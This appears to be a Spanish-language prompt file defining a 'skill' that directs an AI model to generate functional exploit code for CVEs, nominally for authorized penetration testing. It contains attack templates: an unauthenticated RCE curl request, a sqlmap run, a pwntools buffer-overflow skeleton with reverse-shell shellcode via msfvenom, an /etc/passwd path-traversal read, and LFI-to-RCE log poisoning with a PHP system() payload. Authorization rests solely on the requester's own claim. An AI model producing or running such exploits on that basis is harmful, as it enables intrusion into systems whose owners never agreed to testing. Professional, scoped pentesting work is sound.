Cve Exploit

Skill: Explotación de CVEs Confirmados (Hacking Ético)

Genera código funcional y referencias de exploit para CVEs confirmados, ordenados por facilidad de explotación. Contexto: auditoría ofensiva autorizada / pentesting profesional.

Prerequisitos (verificar antes de generar)

• CVE confirmado con POC previo realizado
• Entorno objetivo autorizado (contrato / scope definido)
• Propósito: demostración de impacto / evidencia para informe

Si no se cumplen, indicar que se requiere confirmación previa de la vulnerabilidad.

PASO 1 — Recibir lista de CVEs confirmados

El usuario debe proporcionar (o extraer de conversación previa):

Si no hay tabla, extraer de los hallazgos mencionados en la conversación.

PASO 2 — Ordenar por facilidad de explotación

Criterios de ordenación (de más fácil a más difícil):

PASO 3 — Output por CVE

Para cada CVE, generar en este orden:

CVE-XXXX-YYYY — [Nombre Descriptivo]

Metadata:

CVSS v3.1:     X.X [CRÍTICA/ALTA/MEDIA]
Tipo:          RCE / LPE / SQLi / XSS / DoS / ...
Afecta:        Software vX.X - vY.Y
Auth requerida: No / Sí (usuario/admin)
Red requerida:  Remota / Local / Adyacente
Facilidad:     ★★★★★ Trivial
Módulo MSF:    exploit/multi/... (si existe)

Fuentes públicas de exploit:

Exploit-DB:   https://www.exploit-db.com/exploits/XXXXX
GitHub:       https://github.com/user/repo
NVD:          https://nvd.nist.gov/vuln/detail/CVE-XXXX-YYYY
Packetstorm:  https://packetstormsecurity.com/files/XXXXX/
Nuclei:       https://github.com/projectdiscovery/nuclei-templates

Exploit — Bash Shell:

#!/bin/bash
# CVE-XXXX-YYYY — [Nombre]
# Uso: ./exploit.sh <TARGET_IP> <PORT>
# Requiere: curl, netcat
# Contexto: Auditoría autorizada únicamente

TARGET="$1"
PORT="${2:-80}"

# [código de explotación funcional]

Exploit — Python3:

#!/usr/bin/env python3
# CVE-XXXX-YYYY — [Nombre]
# Uso: python3 exploit.py --target 192.168.1.1 --port 80
# Requiere: requests, socket
# Contexto: Auditoría autorizada únicamente

import argparse, socket, requests

def exploit(target, port):
    # [código de explotación funcional]
    pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True)
    parser.add_argument("--port", type=int, default=80)
    args = parser.parse_args()
    exploit(args.target, args.port)

Exploit — C (si aplica para buffer overflow / kernel):

// CVE-XXXX-YYYY — [Nombre]
// Compilar: gcc -o exploit exploit.c
// Uso: ./exploit <TARGET> <PORT>
// Contexto: Auditoría autorizada únicamente

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// [código de explotación funcional]
int main(int argc, char *argv[]) {
    // ...
    return 0;
}

Verificación de éxito:

# Indicadores de explotación exitosa:
- [qué output/comportamiento confirma el éxito]
- [comando para verificar acceso / ejecución]

PASO 4 — Tabla resumen final

Generar tabla ordenada de más fácil a más difícil:

Fuentes de exploits públicos — Referencias principales

# Bases de datos de exploits
https://www.exploit-db.com/                    # Exploit-DB (Offensive Security)
https://packetstormsecurity.com/               # PacketStorm Security
https://vuldb.com/                             # VulDB
https://sploitus.com/                          # Sploitus (agregador)

# GitHub — búsqueda de exploits
https://github.com/search?q=CVE-XXXX-YYYY     # Buscar por CVE en GitHub
https://github.com/trickest/cve               # CVE PoC en GitHub (trickest)
https://github.com/nomi-sec/PoC-in-GitHub     # PoC-in-GitHub (índice)
https://github.com/projectdiscovery/nuclei-templates  # Nuclei templates

# Metasploit
https://www.metasploit.com/modules/           # Módulos MSF online
msfconsole> search cve:XXXX-YYYY             # Búsqueda local en MSF

# Referencia CVE
https://nvd.nist.gov/vuln/detail/CVE-XXXX    # NVD — NIST
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-XXXX  # MITRE CVE
https://www.cvedetails.com/cve/CVE-XXXX/     # CVEDetails

# Kali Linux — herramientas integradas
searchsploit CVE-XXXX-YYYY                   # Búsqueda local Exploit-DB
msfconsole -q -x "search cve:XXXX-YYYY"     # Módulos Metasploit

Plantillas de exploit por tipo de vulnerabilidad

RCE sin autenticación (tipo más crítico / más fácil)

# Patrón genérico — ajustar payload según CVE
curl -s -X POST "http://$TARGET/vulnerable_endpoint" \
  --data "param=$(python3 -c 'import urllib.parse; print(urllib.parse.quote("id"))')" \
  -H "Content-Type: application/x-www-form-urlencoded"

SQLi — extracción de datos

# sqlmap one-liner para CVE con SQLi confirmada
# sqlmap -u "http://TARGET/vuln?id=1" --dbs --batch --level=3 --risk=2
import subprocess
def run_sqlmap(target_url, param):
    cmd = ["sqlmap", "-u", target_url, "-p", param, "--dbs", "--batch"]
    subprocess.run(cmd)

Buffer Overflow — esqueleto con pwntools

from pwn import *
# CVE-XXXX — Buffer overflow
# Ajustar: offset, ret_addr, shellcode según arquitectura objetivo
OFFSET = 0         # calcular con pattern_create / cyclic
RET_ADDR = 0x0     # dirección de retorno (jmp esp, ROP gadget, etc.)
SHELLCODE = b""    # shellcode según SO/arch (msfvenom -p linux/x86/shell_reverse_tcp ...)

payload = b"A" * OFFSET + p32(RET_ADDR) + b"\x90" * 16 + SHELLCODE
io = remote("TARGET", PORT)
io.sendline(payload)
io.interactive()

LPE (Local Privilege Escalation)

# Compilar y ejecutar exploit local
gcc -o lpe_exploit exploit.c && ./lpe_exploit
# Verificar:
id && whoami

Path Traversal / LFI → RCE

# LFI clásico
curl "http://$TARGET/page?file=../../../../etc/passwd"
# LFI → RCE via log poisoning
curl -A "<?php system(\$_GET['cmd']); ?>" "http://$TARGET/"
curl "http://$TARGET/page?file=../../../../var/log/apache2/access.log&cmd=id"

Notas de uso

• Todo código generado incluye comentario # Contexto: Auditoría autorizada únicamente
• Para exploits de stack overflow: calcular offset con pattern_create (Metasploit) o cyclic (pwntools)
• Para exploits remotos: verificar siempre en laboratorio antes de ejecutar en scope real
• Shellcodes: generar con msfvenom -p <payload> LHOST=X LPORT=Y -f <format>
• Si el CVE tiene módulo Metasploit: indicarlo siempre como opción preferente por estabilidad
• Nuclei templates: opción para detección automatizada sin exploit destructivo